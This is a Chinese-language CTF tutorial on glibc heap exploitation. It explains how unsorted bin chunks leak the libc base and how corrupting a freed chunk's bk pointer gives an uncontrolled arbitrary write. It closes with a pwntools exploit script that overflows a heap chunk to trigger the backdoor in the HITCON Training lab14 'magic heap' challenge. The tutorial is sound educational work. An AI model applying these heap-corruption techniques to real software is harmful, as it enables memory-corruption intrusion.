概述
unsorted bin在堆题中常用于泄露libc地址,通过unsorted bin可以向任意一个地址写入一个不可控的大数字,使用前提是需要能够控制unsorted bin中chunk的bk指针。
下面介绍原理前先复习下有关unsorted bin的知识。
unsorted bin使用先入先出的算法存储chunk,因为它只有一个双链表,所以存储chunk时不像其他bins按照chunk的size有序存储,它可以存储。
glibc2.26之前unsorted bin有类似缓存的作用。
free chunk时不与top chunk相邻且size如果大于0x80(64位机器)会优先将chunk放入unsorted bin中,malloc_consolidate时会将合并的chunk放入unsorted bin中。
malloc chunk时如果fastbin中没有合适的chunk,会先去unsorted bin中寻找chunk,如果在unsorted bin中能找到合适的chunk会返回chunk。
如果不合适但unsorted bin中有chunk大于要malloc的chunk会将unsorted bin中的chunk切割下来分配给malloc的chunk,剩下的chunk如果大于MINSIZE会放入chunk。
unsorted bin中找不到能够分配的chunk之后才去top chunk切割chunk,同时会将unsorted bin中的chunk放入small bin和large bin中。
利用
泄露libc基地址
如果unsorted bin中只有一个chunk的话,chunk的fd、bk指针都指向main_arena+偏移:
![原创 | 堆的unsorted bin attack利用 原创 | 堆的unsorted bin attack利用]()
利用一个uaf漏洞可以打印出来main_arena+偏移的地址,另外因为main_arena在libc的.data段是固定的,所以可以通过ida(定位malloc_trim函数查找main_arena地址)
等找到main_arena在libc上的地址,然后利用泄露出来的main_arena+偏移减去偏移(这里是96)和main_arena在libc中的地址即可获得libc的基地址
上图的偏移是96,一般64位机器的偏移量是88,32位机器是44,每个libc的偏移是固定的,熟悉后获得main_arena的地址后直接减去固定的偏移即是libc基地址。
任意地址写
这里的任意地址写的确是任意地址写,只是写入的内容不可控。
unsorted bin中没有chunk时unsorted bin的fd和bk指针都指向prev_size,当放入一个chunk后结构时这样:
![原创 | 堆的unsorted bin attack利用 原创 | 堆的unsorted bin attack利用]()
![原创 | 堆的unsorted bin attack利用 原创 | 堆的unsorted bin attack利用]()
如上图main_arena+96可以看做bin的prev_size,main_arena+112是bin的fd指针,main_arena+120是bin的bk指针
正好main_arena+112和main_arena+128都指向chunk的prev_size处0x555555757680。
malloc.c中有两行关于unsorted bin的代码,在malloc unsorted bin中的chunk时使用
能够完成任意地址写也是使用这两行代码,具体如何利用后面会说明:
![原创 | 堆的unsorted bin attack利用 原创 | 堆的unsorted bin attack利用]()
先利用其他漏洞使chunk的bk指针指向目的地址-0x10的地址,此时的结构就是:
![原创 | 堆的unsorted bin attack利用 原创 | 堆的unsorted bin attack利用]()
再malloc unsorted bin中的chunk。
第一行代码在unsorted bin中的chunk被malloc时使bin的bk指针指向目的地址,第二行代码使目的地址-0x10指向bin。
这个过程中因为chunk被malloc出去了,unsorted bin会把目的地址看作chunk,此时的目的地址-0x10处会当做fd指针指向unsorted bin的prev_size地址处,fd即目的地址-0x10会保存prev_size的地址(prev_size的地址特别大但不可控)
![原创 | 堆的unsorted bin attack利用 原创 | 堆的unsorted bin attack利用]()
如与fastbin attack配合使用,修改global_max_fast全局变量,使其变的特别大,之后申请的chunk基本都属于fast bin,就可以使用fastbin attack完成攻击。
再或者修改_IO_list_all伪造_IO_FILE进行攻击。
本来想找个修改global_max_fast的例题讲解但没找到题,就以HITCON Training lab14 magic heap为例介绍下吧。
from pwn import *
p = remote('node3.buuoj.cn',29203)
def create(size, content):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)
def edit(idx, size, content):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(idx))
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)
def delete(idx):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))
create(0x30, "aaaa")
create(0x80, "bbbb")
create(0x30, "cccc")
delete(1)
target = 0x6020c0 - 0x10
edit(0, 0x50, b"a" * 0x30 + p64(0) + p64(0x91) + p64(0) + p64(target))
create(0x80, "aaaa")
p.recvuntil(":")
p.sendline("4869")
p.interactive()
分析
![原创 | 堆的unsorted bin attack利用 原创 | 堆的unsorted bin attack利用]()
![原创 | 堆的unsorted bin attack利用 原创 | 堆的unsorted bin attack利用]()
![原创 | 堆的unsorted bin attack利用 原创 | 堆的unsorted bin attack利用]()
![原创 | 堆的unsorted bin attack利用 原创 | 堆的unsorted bin attack利用]()
只有3个选择,create、edit和delete。
![原创 | 堆的unsorted bin attack利用 原创 | 堆的unsorted bin attack利用]()
最多能创建10个chunk,chunk的size不做限制。
![原创 | 堆的unsorted bin attack利用 原创 | 堆的unsorted bin attack利用]()
先输入一个size再向chunk中输入内容,并且输入的size大小不做限制,说明可以产生堆溢出。
![原创 | 堆的unsorted bin attack利用 原创 | 堆的unsorted bin attack利用]()
思路
上面的分析中可以发现本题非常简单,只需要使magic>0x1305触发后门即可获得flag,并且没有开PIE,magic的内存地址直接在ida中找到。
首先分配3个chunk,使用第一个分配的chunk chunk1溢出chunk2的bk指针,使其指向目的地址,chunk3为了在free chunk2不会与top chunk合并。
create(0x30, "aaaa")
create(0x80, "bbbb")
create(0x30, "cccc")
delete(1)
然后修改magic的值,通过chunk1溢出chunk2,修改chunk2的bk指针指向magic-0x10处
之所以是magic-0x10是因为前面后门修改的是被看做fd指针的地址,减去0x10当做prev_size和size,之后再申请chunk1触发unsorted bin attack使magic写入unsorted bin的地址。
target = 0x6020c0 - 0x10
edit(0, 0x50, b"a" * 0x30 + p64(0) + p64(0x91) + p64(0) + p64(target))
create(0x80, "aaaa")
再按照程序逻辑输入4869去使程序判断magic>0x1305触发后门交互即可:
p.recvuntil(":")
p.sendline("4869")
p.interactive()
这次发现学习或者总结了新技术后必须去做一道合适的题加深理解,一定要自己亲手动手调试。
https://wiki.x10sec.org/pwn/linux/glibc-heap/unsorted_bin_attack-zh/
https://xz.aliyun.com/t/7251#toc-7
本文始发于微信公众号(SecIN技术平台):原创 | 堆的unsorted bin attack利用
评论